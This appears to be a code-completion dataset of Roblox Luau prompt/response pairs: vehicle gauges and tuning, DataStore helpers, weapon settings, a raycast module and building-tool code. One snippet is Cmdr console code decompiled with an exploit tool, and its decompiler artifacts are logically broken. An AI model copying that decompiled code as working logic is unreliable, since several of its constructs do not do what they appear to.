	local Roundspeed = script.Parent.Parent.Values.RPM.Value

	if Roundspeed <= RedlineRPM then
		script.Parent.Gear.TextColor3 = Color3.fromRGB(255, 255, 255)
		script.Parent.Center.ImageColor3 = Color3.fromRGB(255, 255, 255)

	elseif Roundspeed >= RPMOFF then
		script.Parent.Gear.TextColor3 = Color3.fromRGB(234, 31, 84)
		script.Parent.Center.ImageColor3 = Color3.fromRGB(234, 31, 84)

	end

end)

local values = script.Parent.Parent.Values
local gauges = script.Parent

values.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if values.TCS.Value then
			gauges.TCS.ImageColor3 = Color3.fromRGB(234, 31, 84)

			if values.TCSActive.Value then
				wait()
				--gauges.TCS.Visible = not gauges.TCS.Visible
			else
				wait()
				gauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)
			end
		else
			gauges.TCS.Visible = true
			gauges.TCS.ImageColor3 = Color3.fromRGB(234, 31, 84)

		end
	else
		gauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)
	end
end)

values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if values.TCSActive.Value and values.TCS.Value then
			wait()

		elseif not values.TCS.Value then
			wait()
			gauges.TCS.Visible = true
		else
			wait()
			gauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)
		end
	else
		gauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)
	end
end)

gauges.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if values.TCSActive.Value and values.TCS.Value then
			wait()

		elseif not values.TCS.Value then
			wait()
			gauges.TCS.Visible = true
		end
	else
		if gauges.TCS.Visible then
			gauges.TCS.ImageColor3 = Color3.fromRGB(255, 255, 255)
		end
	end
end)

values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if values.ABS.Value then
			gauges.ABS.ImageColor3 = Color3.fromRGB(234, 31, 84)

			if values.ABSActive.Value then
				wait()
				gauges.ABS.Visible = not gauges.ABS.Visible
			else
				wait()
				gauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)
			end
		else
			gauges.ABS.Visible = true
			gauges.ABS.ImageColor3 = Color3.fromRGB(234, 31, 84)

		end
	else
		gauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)
	end
end)

values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if values.ABSActive.Value and values.ABS.Value then
			wait()

		elseif not values.ABS.Value then
			wait()
			gauges.ABS.Visible = true
		else
			wait()
			gauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)
		end
	else
		gauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)
	end
end)

gauges.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if values.ABSActive.Value and values.ABS.Value then
			wait()

		elseif not values.ABS.Value then
			wait()
			gauges.ABS.Visible = true
		end
	else
		if gauges.ABS.Visible then
			gauges.ABS.ImageColor3 = Color3.fromRGB(255, 255, 255)
		end
	end
end)

gauges.PBrake.Visible = values.PBrake.Value

if values.PBrake.Value then
	gauges.Speedometer.ImageColor3 = Color3.fromRGB(234, 31, 84)
	gauges.Speed.TextColor3 = Color3.fromRGB(234, 31, 84)
	gauges.Gear.TextColor3 = Color3.fromRGB(234, 31, 84)
	gauges.Shading.ImageColor3 = Color3.fromRGB(234, 31, 84)
end

function PBrake()

	gauges.PBrake.Visible = values.PBrake.Value

	if values.PBrake.Value then
	gauges.Speedometer.ImageColor3 = Color3.fromRGB(234, 31, 84)
	gauges.Speed.TextColor3 = Color3.fromRGB(234, 31, 84)
	gauges.Gear.TextColor3 = Color3.fromRGB(234, 31, 84)
	gauges.Shading.ImageColor3 = Color3.fromRGB(234, 31, 84)
else
	gauges.Speedometer.ImageColor3 = Color3.fromRGB(255, 255, 255)
	gauges.Speed.TextColor3 = Color3.fromRGB(255, 255, 255)
	gauges.Gear.TextColor3 = Color3.fromRGB(255, 255, 255)
	gauges.Shading.ImageColor3 = Color3.fromRGB(255, 255, 255)
	end

end

values.PBrake.Changed:connect(PBrake)


Prompt:
--[[**
	<description>
	The same as :Get only it'll check to make sure all keys in the default data provided
	exist. If not, will pass in the default value only for that key.
	This is recommended for tables in case you want to add new entries to the table.
	Note this is not required for tables, it only provides an extra functionality.
	</description>

	<parameter name = "defaultValue">
	A table that will have its keys compared to that of the actual data received.
	</parameter>

	<returns>
	The value in the data store will all keys from the default value provided.
	</returns>
**--]]

Response:
function DataStore:GetTable(default, ...)
	assert(default ~= nil, "You must provide a default value with :GetTable.")

	local result = self:Get(default, ...)
	local changed = false

	assert(typeof(result) == "table", ":GetTable was used when the value in the data store isn't a table.")

	for defaultKey, defaultValue in pairs(default) do
		if result[defaultKey] == nil then
			result[defaultKey] = defaultValue
			changed = true
		end
	end

	if changed then
		self:Set(result)
	end

	return result
end


Prompt: -- A state object whose value is derived from other objects using a callback.

Response:
export type ForKeys<KO, V> = StateObject<{ [KO]: V }> & Dependent & {
	-- kind: "ForKeys" (add this when Luau supports singleton types)
}


Response:
	,FastReload = true					--- Automatically operates the bolt on reload if needed
	,SlideLock = true
	,MoveBolt = false
	,BoltLock = false
	,CanBreachDoor = false
	,CanBreak = true					--- Weapon can jam?
	,JamChance = 1000					--- This old piece of brick doesn't work fine >;c
	,IncludeChamberedBullet = true		--- Include the chambered bullet on next reload
	,Chambered = false					--- Start with the gun chambered?
	,LauncherReady = false				--- Start with the GL ready?
	,CanCheckMag = true					--- You can check the magazine
	,ArcadeMode = false					--- You can see the bullets left in magazine
	,RainbowMode = false				--- Operation: Party Time xD
	,ModoTreino = false					--- Surrender enemies instead of killing them
	,GunSize = 1
	,GunFOVReduction = 5

	,BoltExtend = Vector3.new(0, 0, 0.225)
	,SlideExtend = Vector3.new(0, 0, 0.225)


Prompt:
--[=[
	@param id string
	@return component?
	Returns a component instance from the given ID.
]=]

Response:
function Component:GetFromID(id)
	for _,v in ipairs(self._objects) do
		if v._id == id then
			return v
		end
	end
	return nil
end


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "FWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 50		-- 1 - 100%
	Tune.RDiffLockThres	= 50		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt:
--- Internal function to create an AdornmentData type
--- Creates a LineHandleAdornment and a timer value

Response:
function cache:_CreateAdornment(): AdornmentData
	local line: LineHandleAdornment = Instance.new("LineHandleAdornment")
	line.Name = DEFAULT_DEBUGGER_RAY_NAME
	line.Color3 = DEFAULT_DEBUGGER_RAY_COLOUR
	line.Thickness = DEFAULT_DEBUGGER_RAY_WIDTH

	line.Length = 0
	line.CFrame = DEFAULT_FAR_AWAY_CFRAME

	line.Adornee = workspace.Terrain
	line.Parent = workspace.Terrain

	return {
		Adornment = line,
		LastUse = 0
	}
end


Response:
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, -10, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: ---[ This just makes it so the pizzas go invisible ] --

Response:
script.Parent.Pizza1.Changed:Connect(function()
	wait(1)
	if script.Parent.Pizza1.Value == true then
		script.Parent.Pizza1Part.Transparency = 1
		for i, x in pairs(script.Parent.Pizza1Part:GetChildren()) do
			x.Transparency = 1
		end
		wait(script.Parent.RespawnTime.Value)
		script.Parent.Pizza1Part.Transparency = 0
		for i, x in pairs(script.Parent.Pizza1Part:GetChildren()) do
			x.Transparency = 0
		end
		script.Parent.Pizza1.Value = false
	end
end)
script.Parent.Pizza2.Changed:Connect(function()
	wait(1)
	if script.Parent.Pizza2.Value == true then
		script.Parent.Pizza2Part.Transparency = 1
		for i, x in pairs(script.Parent.Pizza2Part:GetChildren()) do
			x.Transparency = 1
		end
		wait(script.Parent.RespawnTime.Value)
		script.Parent.Pizza2Part.Transparency = 0
		for i, x in pairs(script.Parent.Pizza2Part:GetChildren()) do
			x.Transparency = 0
		end
		script.Parent.Pizza2.Value = false
	end
end)
script.Parent.Pizza3.Changed:Connect(function()
	wait(1)
	if script.Parent.Pizza3.Value == true then
		script.Parent.Pizza3Part.Transparency = 1
		for i, x in pairs(script.Parent.Pizza3Part:GetChildren()) do
			x.Transparency = 1
		end
		wait(script.Parent.RespawnTime.Value)
		script.Parent.Pizza3Part.Transparency = 0
		for i, x in pairs(script.Parent.Pizza3Part:GetChildren()) do
			x.Transparency = 0
		end
		script.Parent.Pizza3.Value = false
	end
end)


Prompt: ---- STATE MODIFICATION ----

Response:
function ActiveCastStatic:Pause()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = true
end

function ActiveCastStatic:Resume()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = false
end

function ActiveCastStatic:Terminate(resultOfCast: RaycastResult?, isDecayed: boolean?)
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)

	-- First: Set EndTime on the latest trajectory since it is now done simulating.
	local trajectories = self.StateInfo.Trajectories
	local lastTrajectory = trajectories[#trajectories]
	lastTrajectory.EndTime = self.StateInfo.TotalRuntime

	-- Disconnect the update connection.
	if self.StateInfo.UpdateConnection then
		self.StateInfo.UpdateConnection:Disconnect()
	end

	-- Now fire CastTerminating
	self.Caster.CastTerminating:FireSync(self, resultOfCast, isDecayed)

	-- And now set the update connection object to nil.
	if self.StateInfo.UpdateConnection then
		self.StateInfo.UpdateConnection = nil
	end

	-- And nuke everything in the table + clear the metatable.
	self.Caster = nil
	self.StateInfo = nil
	self.RayInfo = nil
	--self.UserData = nil
	setmetatable(self, nil)
end

return ActiveCastStatic


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__LocalPlayer__1 = game:GetService("Players").LocalPlayer;
return function(p1)
	local v1 = require(script:WaitForChild("Window"));
	v1.Cmdr = p1;
	local v2 = require(script:WaitForChild("AutoComplete"))(p1);
	v1.AutoComplete = v2;
	local l__Util__2 = p1.Util;
	function v1.ProcessEntry(p2)
		p2 = l__Util__2.TrimString(p2);
		if #p2 == 0 then
			return;
		end;
		v1:AddLine(v1:GetLabel() .. " " .. p2, Color3.fromRGB(255, 223, 93));
		v1:AddLine(p1.Dispatcher:EvaluateAndRun(p2, l__LocalPlayer__1, {
			IsHuman = true
		}));
	end;
	function v1.OnTextChanged(p3)
		local v3 = p1.Dispatcher:Evaluate(p3, l__LocalPlayer__1, true);
		local v4 = l__Util__2.SplitString(p3);
		local v5 = table.remove(v4, 1);
		local v6 = false;
		if v3 then
			v4 = l__Util__2.MashExcessArguments(v4, #v3.Object.Args);
			v6 = #v4 == #v3.Object.Args;
		end;
		local v7 = v5 and #v4 > 0;
		if p3:sub(#p3, #p3):match("%s") and not v6 then
			v7 = true;
			v4[#v4 + 1] = "";
		end;
		if v3 and v7 then
			local v8, v9 = v3:Validate();
			v1:SetIsValidInput(v8, ("Validation errors: %s"):format(v9 and ""));
			local v10 = {};
			local v11 = v3:GetArgument(#v4);
			if v11 then
				local l__TextSegmentInProgress__12 = v11.TextSegmentInProgress;
				local v13 = false;
				if v11.RawSegmentsAreAutocomplete then
					local v14, v15, v16 = ipairs(v11.RawSegments);
					while true do
						v14(v15, v16);
						if not v14 then
							break;
						end;
						v16 = v14;
						v10[v14] = { v15, v15 };
					end;
				else
					local v17, v18 = v11:GetAutocomplete();
					v13 = (v18 or {}).IsPartial and false;
					for v19, v20 in pairs(v17) do
						v10[v19] = { l__TextSegmentInProgress__12, v20 };
					end;
				end;
				local v21 = true;
				if #l__TextSegmentInProgress__12 > 0 then
					local v22, v23 = v11:Validate();
					v21 = v22;
					v9 = v23;
				end;
				if not v6 and v21 then
					v1:HideInvalidState();
				end;
				local v24 = {};
				local v25 = v6;
				if v25 then
					if p3:sub(#p3, #p3):match("%s") then
						local v26 = -1;
					else
						v26 = 0;
					end;
					v25 = #p3 - #l__TextSegmentInProgress__12 + v26;
				end;
				v24.at = v25;
				v24.prefix = #v11.RawSegments == 1 and v11.Prefix or "";
				local v27 = false;
				if #v3.Arguments == #v3.ArgumentDefinitions then
					v27 = #l__TextSegmentInProgress__12 > 0;
				end;
				v24.isLast = v27;
				v24.numArgs = #v4;
				v24.command = v3;
				v24.arg = v11;
				if v11.Required then
					local v28 = "";
				else
					v28 = "?";
				end;
				v24.name = v11.Name .. v28;
				v24.type = v11.Type.DisplayName;
				v24.description = v21 == false and v9 or v11.Object.Description;
				v24.invalid = not v21;
				v24.isPartial = v13;
				return v2:Show(v10, v24);
			end;
		elseif v5 and #v4 == 0 then
			v1:SetIsValidInput(true);
			local v29 = p1.Registry:GetCommand(v5);
			if v29 then
				({ v29.Name, v29.Name }).options = {
					name = v29.Name,
					description = v29.Description
				};
				local v30 = v29.Args and v29.Args[1];
				if type(v30) == "function" then
					v30 = v30(v3);
				end;
				if v30 and not v30.Optional and v30.Default == nil then
					v1:SetIsValidInput(false, "This command has required arguments.");
					v1:HideInvalidState();
				end;
			else
				v1:SetIsValidInput(false, ("%q is not a valid command name. Use the help command to see all available commands."):format(v5));
			end;
			local v31 = { nil };
			for v32, v33 in pairs(p1.Registry:GetCommandNames()) do
				if v5:lower() == v33:lower():sub(1, #v5) and (nil == nil or (nil)[1] ~= v5) then
					local v34 = p1.Registry:GetCommand(v33);
					v31[#v31 + 1] = {
						options = {
							name = v34.Name,
							description = v34.Description
						},
						v5, v33
					};
				end;
			end;
			return v2:Show(v31);
		end;
		v1:SetIsValidInput(false, "Use the help command to see all available commands.");
		v2:Hide();
	end;
	v1:UpdateLabel();
	v1:UpdateWindowHeight();
	return {
		Window = v1,
		AutoComplete = v2
	};
end;


Prompt: -- Public Methods

Response:
function ViewportWindow:Destroy()
	self.SurfaceGUI:Destroy()
end

function ViewportWindow:AddSkybox(skybox)
	if (skybox and skybox:IsA("Sky")) then
		self.SkyboxFrame:ClearAllChildren()
		SkyboxModel(skybox).Parent = self.SkyboxFrame
	end
end

function ViewportWindow:AddWithLookup(children, cloneFunc, parent, lookup)
	lookup = lookup or {}
	parent = parent or self.ViewportFrame
	cloneFunc = cloneFunc or defaultCloneFunc

	for _, part in next, children do
		if (not part:IsA("LuaSourceContainer")) then
			local archivable = part.Archivable
			part.Archivable = true

			local clone = part:Clone()
			if (clone) then
				clone:ClearAllChildren()
				cloneFunc(part, clone)
				clone.Parent = parent

				self:AddWithLookup(part:GetChildren(), cloneFunc, clone, lookup)

				lookup[part] = clone
			end

			part.Archivable = archivable
		end
	end

	return lookup
end

function ViewportWindow:GetPart()
	return self.SurfaceGUI.Adornee
end

function ViewportWindow:GetSurfaceInfo()
	local part = self.SurfaceGUI.Adornee
	local partCF, partSize = part.CFrame, part.Size

	local back = -Vector3.FromNormalId(self.SurfaceGUI.Face)
	local axis = (math.abs(back.y) == 1) and Vector3.new(back.y, 0, 0) or UNIT_Y
	local right = CFrame.fromAxisAngle(axis, PI2) * back
	local top = back:Cross(right).Unit

	local cf = partCF * CFrame.fromMatrix(-back*partSize/2, right, top, back)
	local size = Vector3.new((partSize * right).Magnitude, (partSize * top).Magnitude, (partSize * back).Magnitude)

	return cf, size
end

function ViewportWindow:RenderFrame(camCF, surfaceCF, surfaceSize)
	local camera = game.Workspace.CurrentCamera

	camCF = camCF or camera.CFrame
	if not (surfaceCF and surfaceSize) then
		surfaceCF, surfaceSize = self:GetSurfaceInfo()
	end

	--

	local tc = surfaceCF * Vector3.new(0, surfaceSize.y/2, 0)
	local bc = surfaceCF * Vector3.new(0, -surfaceSize.y/2, 0)

	local cross = camCF.LookVector:Cross(surfaceCF.UpVector)
	local right = cross:Dot(cross) > 0 and cross.Unit or camCF.RightVector

	local levelCamCF = CFrame.fromMatrix(camCF.p, right, surfaceCF.UpVector, right:Cross(surfaceCF.UpVector))
	local levelCamCFInv = levelCamCF:Inverse()

	local csbc = levelCamCFInv * bc
	local cstc = levelCamCFInv * tc
	local v1 = (csbc*YZ).Unit
	local v2 = (cstc*YZ).Unit
	local alpha = math.sign(v1.y)*math.acos(v1:Dot(UNIT_NZ))
	local beta = math.sign(v2.y)*math.acos(v2:Dot(UNIT_NZ))

	local fh = 2*math.tan(math.rad(camera.FieldOfView)/2)
	local hPrime = math.tan(beta) - math.tan(alpha)
	local refHeight = hPrime / fh

	--

	local c2p = surfaceCF:VectorToObjectSpace(surfaceCF.p - camCF.p)
	local c2pXZ = c2p * XZ
	local c2pYZ = c2p * YZ

	local dpX = c2pXZ.Unit:Dot(UNIT_NZ)
	local camXZ = (surfaceCF:VectorToObjectSpace(camCF.LookVector) * XZ)

	local scale = camXZ.Unit:Dot(c2pXZ.Unit) / UNIT_NZ:Dot(c2pXZ.Unit)
	local tanArcCos = math.sqrt(1 - dpX*dpX) / dpX

	--

	local w, h = 1, (surfaceSize.x / surfaceSize.y)
	local dx = math.sign(c2p.x*c2p.z)*tanArcCos
	local dy = c2pYZ.y / c2pYZ.z * h
	local d = math.abs(scale * refHeight * h)

	local ncf = (surfaceCF - surfaceCF.p) * Y_SPIN * CFrame.new(0, 0, 0, w, 0, 0, 0, h, 0, dx, dy, d)
	local c = {ncf:GetComponents()}

	local max = {}
	for i = 1, #c do max[i] = math.abs(c[i]) end
	max = math.max(unpack(max))

	ncf = CFrame.new(c[1], c[2], c[3], c[4]/max, c[5]/max, c[6]/max, c[7]/max, c[8]/max, c[9]/max, c[10]/max, c[11]/max, c[12]/max)

	--

	--[[
	-- can set w and h to 1 and use this as an alternative scaling method, but I find the above is better
	local ratioXY = (surfaceSize.x / surfaceSize.y)
	local ratioYX = (surfaceSize.y / surfaceSize.x)

	if (ratioXY > ratioYX) then
		self.SurfaceGUI.CanvasSize = Vector2.new(1024, 1024 * ratioYX)
	else
		self.SurfaceGUI.CanvasSize = Vector2.new(1024 * ratioXY, 1024)
	end
	--]]

	local ncamCF = ncf + camCF.p
	self.Camera.FieldOfView = camera.FieldOfView
	self.Camera.CFrame = ncamCF
	self.Camera.Focus = ncamCF * CFrame.new(0, 0, camCF:PointToObjectSpace(surfaceCF.p).z)
end


Prompt: -- initialize to idle

Response:
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"

while Figure.Parent ~= nil do
	local _, time = wait(0.1)
	move(time)
end


Prompt: -- Adjust torque and springs based on gravity to keep the car drivable

Response:
local function gravityAdjust()
	local defaultGravity = 196.2
	local actualGravity = Workspace.Gravity
	local gravityChange = actualGravity / defaultGravity
	-- Speed is adjusted so that the height of jumps is preserved
	-- So maxSpeed is scaled proportionally to the sqrt of gravity
	ActualDrivingTorque = VehicleParameters.DrivingTorque * gravityChange
	ActualBrakingTorque = VehicleParameters.BrakingTorque * gravityChange

	ActualStrutSpringStiffnessFront = VehicleParameters.StrutSpringStiffnessFront * gravityChange
	ActualStrutSpringDampingFront = VehicleParameters.StrutSpringDampingFront * math.sqrt( gravityChange )
	ActualStrutSpringStiffnessRear = VehicleParameters.StrutSpringStiffnessRear * gravityChange
	ActualStrutSpringDampingRear = VehicleParameters.StrutSpringDampingRear * math.sqrt( gravityChange )

	ActualTorsionSpringStiffness = VehicleParameters.TorsionSpringStiffness * gravityChange
	ActualTorsionSpringDamping = VehicleParameters.TorsionSpringDamping * math.sqrt( gravityChange )
end

local function convertProperty(property, value)
	if property == "MaxSpeed" or property == "ReverseSpeed" then
		-- convert to studs/sec
		return value / mphConversion
	end

	return value
end

local changedAttributesConnection = nil
local function updateFromConfiguration()
	local obj = script.Parent.Parent

	for property, value in pairs(VehicleParameters) do
		local configProp = obj:GetAttribute(property)

		if configProp then
			VehicleParameters[property] = convertProperty(property, configProp)
		end
	end

	-- Handle dynamic changes
	changedAttributesConnection = obj.AttributeChanged:Connect(function(property)
		-- Only handle attributes we're interested in
		if VehicleParameters[property] == nil then
			return
		end

		local value = obj:GetAttribute(property)
		VehicleParameters[property] = convertProperty(property, value)

		if DoGravityAdjust then
			gravityAdjust()
		end

		if Chassis then
			Chassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig
		end
	end)
end

updateFromConfiguration()

if DoGravityAdjust then
	gravityAdjust()
end

workspace.Changed:Connect(function(prop)
	if prop == "Gravity" then
		if DoGravityAdjust then
			gravityAdjust()
		end
		if Chassis then
			Chassis.InitializeDrivingValues() -- reinitialize chassis so that changes are reflected in the rig
		end
	end
end)

local Motors
local SteeringPrismatic
local RedressMount


Prompt:
-- Hi, thanks for downloading my plugin! This script is here to remove any unnecessary folders, that are used by this plugin to store data in the place, once the game runs.
-- The data this plugin may store is nothing personal. Some data is used for the "Cross-Server Protocols" tool to save the protocols you make for example.

Response:
game:GetService("RunService").Heartbeat:wait()
local d = {
	game.ServerStorage:WaitForChild("3DNotesData",5),
	game.ServerStorage:WaitForChild("CSProtocols",5),
	game.ServerStorage:WaitForChild("crossServerPath",5),
	game.ServerStorage:WaitForChild("InstanceCollectionPlugin",5),
	game.ServerStorage:WaitForChild("CSVariables",5),
	game.ServerStorage:WaitForChild("UIPresets",5)
}
for i,v in pairs(d) do
	v:Destroy()
end


Prompt: -- Initialize tool subsystems

Response:
MoveTool.HandleDragging = require(script:WaitForChild 'HandleDragging')
	.new(MoveTool)
MoveTool.FreeDragging = require(script:WaitForChild 'FreeDragging')
	.new(MoveTool)
MoveTool.UIController = require(script:WaitForChild 'UIController')
	.new(MoveTool)

function MoveTool:Equip()
	-- Enables the tool's equipped functionality

	-- Set our current axis mode
	self:SetAxes(self.Axes)

	-- Start up our interface
	self.UIController:ShowUI()
	self:BindShortcutKeys()
	self.FreeDragging:EnableDragging()

end

function MoveTool:Unequip()
	-- Disables the tool's equipped functionality

	-- If dragging, finish dragging
	if self.FreeDragging.IsDragging then
		self.FreeDragging:FinishDragging()
	end

	-- Disable dragging
	ContextActionService:UnbindAction 'BT: Start dragging'

	-- Clear unnecessary resources
	self.UIController:HideUI()
	self.HandleDragging:HideHandles()
	self.Maid:Destroy()
	BoundingBox.ClearBoundingBox();
	SnapTracking.StopTracking();

end

function MoveTool:SetAxes(AxisMode)
	-- Sets the given axis mode

	-- Update setting
	self.Axes = AxisMode
	self.AxesChanged:Fire(self.Axes)

	-- Disable any unnecessary bounding boxes
	BoundingBox.ClearBoundingBox();

	-- For global mode, use bounding box handles
	if AxisMode == 'Global' then
		BoundingBox.StartBoundingBox(function (BoundingBox)
			self.HandleDragging:AttachHandles(BoundingBox)
		end)

	-- For local mode, use focused part handles
	elseif AxisMode == 'Local' then
		self.HandleDragging:AttachHandles(Selection.Focus, true)

	-- For last mode, use focused part handles
	elseif AxisMode == 'Last' then
		self.HandleDragging:AttachHandles(Selection.Focus, true)
	end

end

function MoveTool:MovePartsAlongAxesByFace(Face, Distance, InitialStates, InitialFocusCFrame)
	-- Moves the given parts in `InitialStates`, along the given axis mode, in the given face direction, by the given distance

	-- Calculate the shift along the direction of the face
	local Shift = Vector3.FromNormalId(Face) * Distance

	-- Move along global axes
	if self.Axes == 'Global' then
		for Part, InitialState in pairs(InitialStates) do
			Part.CFrame = InitialState.CFrame + Shift
		end

	-- Move along individual items' axes
	elseif self.Axes == 'Local' then
		for Part, InitialState in pairs(InitialStates) do
			Part.CFrame = InitialState.CFrame * CFrame.new(Shift)
		end

	-- Move along focused item's axes
	elseif self.Axes == 'Last' then

		-- Calculate focused item's position
		local FocusCFrame = InitialFocusCFrame * CFrame.new(Shift)

		-- Move parts based on initial offset from focus
		for Part, InitialState in pairs(InitialStates) do
			local FocusOffset = InitialFocusCFrame:toObjectSpace(InitialState.CFrame)
			Part.CFrame = FocusCFrame * FocusOffset
		end

	end

end

function MoveTool:BindShortcutKeys()
	-- Enables useful shortcut keys for this tool

	-- Track user input while this tool is equipped
	self.Maid.HotkeyStart = UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
		if GameProcessedEvent then
			return
		end

		-- Make sure this input is a key press
		if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
			return;
		end;

		-- Make sure it wasn't pressed while typing
		if UserInputService:GetFocusedTextBox() then
			return;
		end;

		-- Check if the enter key was pressed
		if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then

			-- Toggle the current axis mode
			if self.Axes == 'Global' then
				self:SetAxes('Local')
			elseif self.Axes == 'Local' then
				self:SetAxes('Last')
			elseif self.Axes == 'Last' then
				self:SetAxes('Global')
			end

		-- If - key was pressed, focus on increment input
		elseif (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then
			self.UIController:FocusIncrementInput()

		-- Check if the R key was pressed down, and it's not the selection clearing hotkey
		elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then

			-- Start tracking snap points nearest to the mouse
			self:StartSnapping()

		-- Nudge up if the 8 button on the keypad is pressed
		elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then
			self:NudgeSelectionByFace(Enum.NormalId.Top)

		-- Nudge down if the 2 button on the keypad is pressed
		elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then
			self:NudgeSelectionByFace(Enum.NormalId.Bottom)

		-- Nudge forward if the 9 button on the keypad is pressed
		elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then
			self:NudgeSelectionByFace(Enum.NormalId.Front)

		-- Nudge backward if the 1 button on the keypad is pressed
		elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then
			self:NudgeSelectionByFace(Enum.NormalId.Back)

		-- Nudge left if the 4 button on the keypad is pressed
		elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then
			self:NudgeSelectionByFace(Enum.NormalId.Left)

		-- Nudge right if the 6 button on the keypad is pressed
		elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then
			self:NudgeSelectionByFace(Enum.NormalId.Right)

		-- Align the selection to the current target surface if T is pressed
		elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then
			self.FreeDragging:AlignSelectionToTarget()
		end
	end)

	-- Track ending user input while this tool is equipped
	self.Maid.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)
		if GameProcessedEvent then
			return
		end

		-- Make sure this is input from the keyboard
		if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
			return;
		end;

		-- Check if the R key was let go
		if InputInfo.KeyCode == Enum.KeyCode.R then

			-- Make sure it wasn't pressed while typing
			if UserInputService:GetFocusedTextBox() then
				return;
			end;

			-- Reset handles if not dragging
			if not self.FreeDragging.IsDragging then
				self:SetAxes(self.Axes)
			end

			-- Stop snapping point tracking if it was enabled
			SnapTracking.StopTracking();

		end
	end)

end

function MoveTool:StartSnapping()
	-- Starts tracking snap points nearest to the mouse

	-- Hide any handles or bounding boxes
	self.HandleDragging:AttachHandles(nil, true)
	BoundingBox.ClearBoundingBox();

	-- Avoid targeting snap points in selected parts while dragging
	if self.FreeDragging.IsDragging then
		SnapTracking.TargetBlacklist = Selection.Items;
	end;

	-- Start tracking the closest snapping point
	SnapTracking.StartTracking(function (NewPoint)

		-- Fire `SnappedPoint` and update `SnappedPoint` when there is a new snap point in focus
		if NewPoint then
			self.SnappedPoint = NewPoint.p
			self.PointSnapped:Fire(self.SnappedPoint)
		end

	end)

end

function MoveTool:SetAxisPosition(Axis, Position)
	-- Sets the selection's position on axis `Axis` to `Position`

	-- Track this change
	self:TrackChange()

	-- Prepare parts to be moved
	local InitialStates = self:PreparePartsForDragging()

	-- Update each part
	for Part in pairs(InitialStates) do

		-- Set the part's new CFrame
		Part.CFrame = CFrame.new(
			Axis == 'X' and Position or Part.Position.X,
			Axis == 'Y' and Position or Part.Position.Y,
			Axis == 'Z' and Position or Part.Position.Z
		) * (Part.CFrame - Part.CFrame.p);

	end;

	-- Cache up permissions for all private areas
	local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);

	-- Revert changes if player is not authorized to move parts to target destination
	if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
		for Part, State in pairs(InitialStates) do
			Part.CFrame = State.CFrame;
		end;
	end;

	-- Restore the parts' original states
	for Part, State in pairs(InitialStates) do
		Part:MakeJoints();
		Core.RestoreJoints(State.Joints);
		Part.CanCollide = State.CanCollide;
		Part.Anchored = State.Anchored;
	end;

	-- Register the change
	self:RegisterChange()

end

function MoveTool:NudgeSelectionByFace(Face)
	-- Nudges the selection along the current axes mode in the direction of the focused part's face

	-- Get amount to nudge by
	local NudgeAmount = self.Increment

	-- Reverse nudge amount if shift key is held while nudging
	local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));
	if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then
